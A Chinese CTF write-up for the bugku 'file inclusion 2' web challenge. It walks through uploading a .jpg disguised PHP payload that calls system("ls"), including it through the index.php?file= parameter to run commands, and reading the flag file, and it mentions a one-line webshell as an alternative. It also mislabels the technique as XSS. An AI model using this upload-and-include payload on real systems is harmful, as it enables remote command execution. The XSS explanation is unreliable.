1. 程式人生 > >bugku-Web 檔案包含2

bugku-Web 檔案包含2

開啟網頁檢視原始碼,在最上面發現upload.php,於是我們就訪問這個檔案:http://123.206.31.85:49166/index.php?file=upload.php

發現是讓我們上傳檔案,然而,我們上傳了並沒什麼用,但是下面說出了檔案的位置。

這裡我們構造一個檔案再上傳(這裡構造的檔案再上傳用到的應該是XSS的知識)

建立一個文字檔案並輸入:<script language=php>system("ls")</script>,然後將檔案字尾改為jpg,儲存上傳。

(XSS的原理就是向網頁原始碼中插入程式碼,system是呼叫系統命令,ls是檢視當前資料夾的檔案)

上傳後我們訪問檔案所在位置:http://123.206.31.85:49166/index.php?file=upload/201812151107258968.jpg

看到一個txt檔案,裡面應該有flag,於是訪問一下http://123.206.31.85:49166/index.php?file=this_is_th3_F14g_154f65sd4g35f4d6f43.txt

就拿到flag了。

 

注:也可用一句話+菜刀,不過可能上不去